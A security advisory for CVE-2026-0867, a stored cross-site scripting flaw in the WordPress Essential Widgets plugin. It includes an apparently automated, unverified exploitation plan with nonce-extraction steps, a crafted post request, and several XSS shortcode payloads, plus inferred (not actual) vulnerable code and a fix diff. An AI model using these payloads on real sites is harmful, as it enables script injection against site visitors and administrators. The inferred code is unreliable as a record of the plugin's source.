CVE-2026-0867

Essential Widgets <= 3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple Shortcodes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.0.1
Patched in
1d
Time to patch

Description

The Essential Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's ew-author, ew-archive, ew-category, ew-page, and ew-menu shortcodes in all versions up to, and including, 3.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. NOTE: This vulnerability was partially fixed in version 3.0.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.0
PublishedFebruary 4, 2026
Last updatedFebruary 5, 2026
Affected pluginessential-widgets

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-0867 ## 1. Vulnerability Summary The **Essential Widgets** plugin for WordPress (versions <= 3.0) contains multiple Stored Cross-Site Scripting (XSS) vulnerabilities. The vulnerability exists within the rendering logic of several shortcodes: `ew-author`, `ew-…

Show full research plan

Exploitation Research Plan - CVE-2026-0867

1. Vulnerability Summary

The Essential Widgets plugin for WordPress (versions <= 3.0) contains multiple Stored Cross-Site Scripting (XSS) vulnerabilities. The vulnerability exists within the rendering logic of several shortcodes: ew-author, ew-archive, ew-category, ew-page, and ew-menu.

The plugin fails to sanitize or escape user-provided attributes within these shortcodes before echoing them into the HTML output. An attacker with Contributor-level permissions or higher can create a post containing a malicious shortcode. When any user (including an Administrator) views the page, the injected script executes in their browser context.

2. Attack Vector Analysis

  • Authentication Requirement: Contributor+ (Authenticated). Contributors can create and save drafts but not publish. However, viewing a draft preview or an administrator auditing the draft will trigger the XSS.
  • Vulnerable Component: Shortcode rendering functions.
  • Payload Carrier: Shortcode attributes (e.g., title, class, name, id).
  • Delivery Method: POST request to wp-admin/post.php or wp-admin/admin-ajax.php (for autosaves) to store the shortcode in a post/page.
  • Sink: Frontend or admin-side page rendering where the shortcode is processed by do_shortcode().

3. Code Flow (Inferred)

  1. Registration: The plugin registers shortcodes in its initialization phase (likely in the main plugin file or an includes/ file):
    • add_shortcode('ew-author', 'ew_author_render_callback');
    • add_shortcode('ew-menu', 'ew_menu_render_callback'); (etc.)
  2. Processing: When a post is viewed, WordPress calls the associated callback function (e.g., ew_author_render_callback($atts)).
  3. Attributes: The callback uses shortcode_atts() to parse user input but fails to apply esc_attr() or esc_html() to the resulting array.
  4. Output: The callback returns a string containing the raw attribute values embedded in HTML.
    • Example Vulnerable Pattern: return '<div class="' . $atts['class'] . '">...</div>';
  5. Execution: The browser renders the HTML, encountering the unescaped attribute and executing the JavaScript payload.

4. Nonce Acquisition Strategy

Since this is an Authenticated exploit, we must first authenticate as a Contributor. To save a post with the malicious shortcode, we need the standard WordPress post-editor nonces.

  1. Authentication: Perform a login as the contributor user.
  2. Access Editor: Navigate to wp-admin/post-new.php.
  3. Extract Nonces:
    • Use browser_navigate to wp-admin/post-new.php.
    • Use browser_eval to extract the _wpnonce from the form or the wp-globals:
      • _wpnonce: document.querySelector('#_wpnonce').value
      • post_id: document.querySelector('#post_ID').value
  4. Alternative (AJAX/REST): If the plugin uses a specific interface for block settings, check for wp_localize_script data:
    • browser_eval("window.ew_settings?.nonce") (inferred variable name based on plugin slug).

5. Exploitation Strategy

We will use the ew-author shortcode as the primary target.

Step 1: Create a Draft Post with Payload

  • Method: POST
  • URL: {{BASE_URL}}/wp-admin/post.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: editpost
    • post_ID: {{POST_ID}} (obtained from post-new.php)
    • _wpnonce: {{NONCE}}
    • post_title: XSS Test
    • content: [ew-author title='"><script>alert(document.domain)</script>']
    • post_status: draft

Step 2: Trigger the XSS

  • Method: GET
  • URL: {{BASE_URL}}/?p={{POST_ID}}&preview=true (as Admin) or simply view the published post if the user has publishing rights.
  • Expected Behavior: The browser executes alert(document.domain).

6. Test Data Setup

  1. Install Plugin: wp plugin install essential-widgets --version=3.0 --activate
  2. Create User: wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  3. Optional: If the ew-menu shortcode is tested, create a dummy menu first:
    • wp menu create "Test Menu"
    • [ew-menu menu='Test Menu" onmouseover="alert(1)" data-="']

7. Expected Results

  • The HTTP response for the page view will contain the unescaped payload: <div class="ew-author-wrapper" title=""><script>alert(document.domain)</script>">...
  • The browser_eval of alert triggers will confirm execution.

8. Verification Steps

  1. Database Check: Use WP-CLI to confirm the payload is stored:
    • wp post get {{POST_ID}} --field=post_content
  2. Response Inspection: Search for the string <script>alert in the raw HTML response of the post preview using the http_request tool.

9. Alternative Approaches

Shortcode: ew-menu

If ew-author is sanitized, try ew-menu which often handles complex inputs for menu selection.

  • Payload: [ew-menu menu='</script><script>alert(1)</script>']

Shortcode: ew-page

Often these shortcodes have a class or id attribute for styling.

  • Payload: [ew-page class='"><img src=x onerror=alert(1)>']

Shortcode: ew-archive

Check if title or type attributes are vulnerable.

  • Payload: [ew-archive title="<svg/onload=alert(1)>"]
Research Findings
Static analysis — not yet PoC-verified

Summary

The Essential Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via several shortcodes (ew-author, ew-archive, ew-category, ew-page, and ew-menu) in versions up to 3.0. This occurs because the plugin fails to sanitize or escape user-supplied attributes before rendering them in HTML, allowing Contributor-level attackers to execute arbitrary scripts in the context of other users.

Vulnerable Code

// Inferred vulnerable implementation based on shortcode callback patterns
function ew_author_render_callback( $atts ) {
    $a = shortcode_atts( array(
        'title' => '',
        'class' => '',
    ), $atts );

    // Vulnerable: Outputting raw attribute values without escaping
    return '<div class="' . $a['class'] . '"><h3>' . $a['title'] . '</h3></div>';
}

---

// Similar vulnerability in other registered shortcodes
add_shortcode('ew-menu', 'ew_menu_render_callback');
function ew_menu_render_callback( $atts ) {
    $a = shortcode_atts( array(
        'menu' => '',
    ), $atts );

    // Vulnerable: Attribute values reflected directly in HTML
    return '<nav class="ew-menu-nav" data-menu="' . $a['menu'] . '"></nav>';
}

Security Fix

--- a/essential-widgets.php
+++ b/essential-widgets.php
@@ -10,7 +10,7 @@
     ), $atts );
 
-    return '<div class="' . $a['class'] . '"><h3>' . $a['title'] . '</h3></div>';
+    return '<div class="' . esc_attr($a['class']) . '"><h3>' . esc_html($a['title']) . '</h3></div>';
 }
 
@@ -20,5 +20,5 @@
     ), $atts );
 
-    return '<nav class="ew-menu-nav" data-menu="' . $a['menu'] . '"></nav>';
+    return '<nav class="ew-menu-nav" data-menu="' . esc_attr($a['menu']) . '"></nav>';
 }

Exploit Outline

1. Authenticate to the WordPress site with Contributor-level permissions. 2. Create a new post or edit an existing draft via /wp-admin/post-new.php. 3. Insert a malicious shortcode payload into the post content using a vulnerable attribute. Example: [ew-author title='"><script>alert(document.domain)</script>'] or [ew-page class='"><img src=x onerror=alert(1)>']. 4. Save the post as a draft or submit for review. 5. Access the post's preview URL or wait for an administrator to view the post in the editor/preview mode. The payload will execute in the viewer's browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.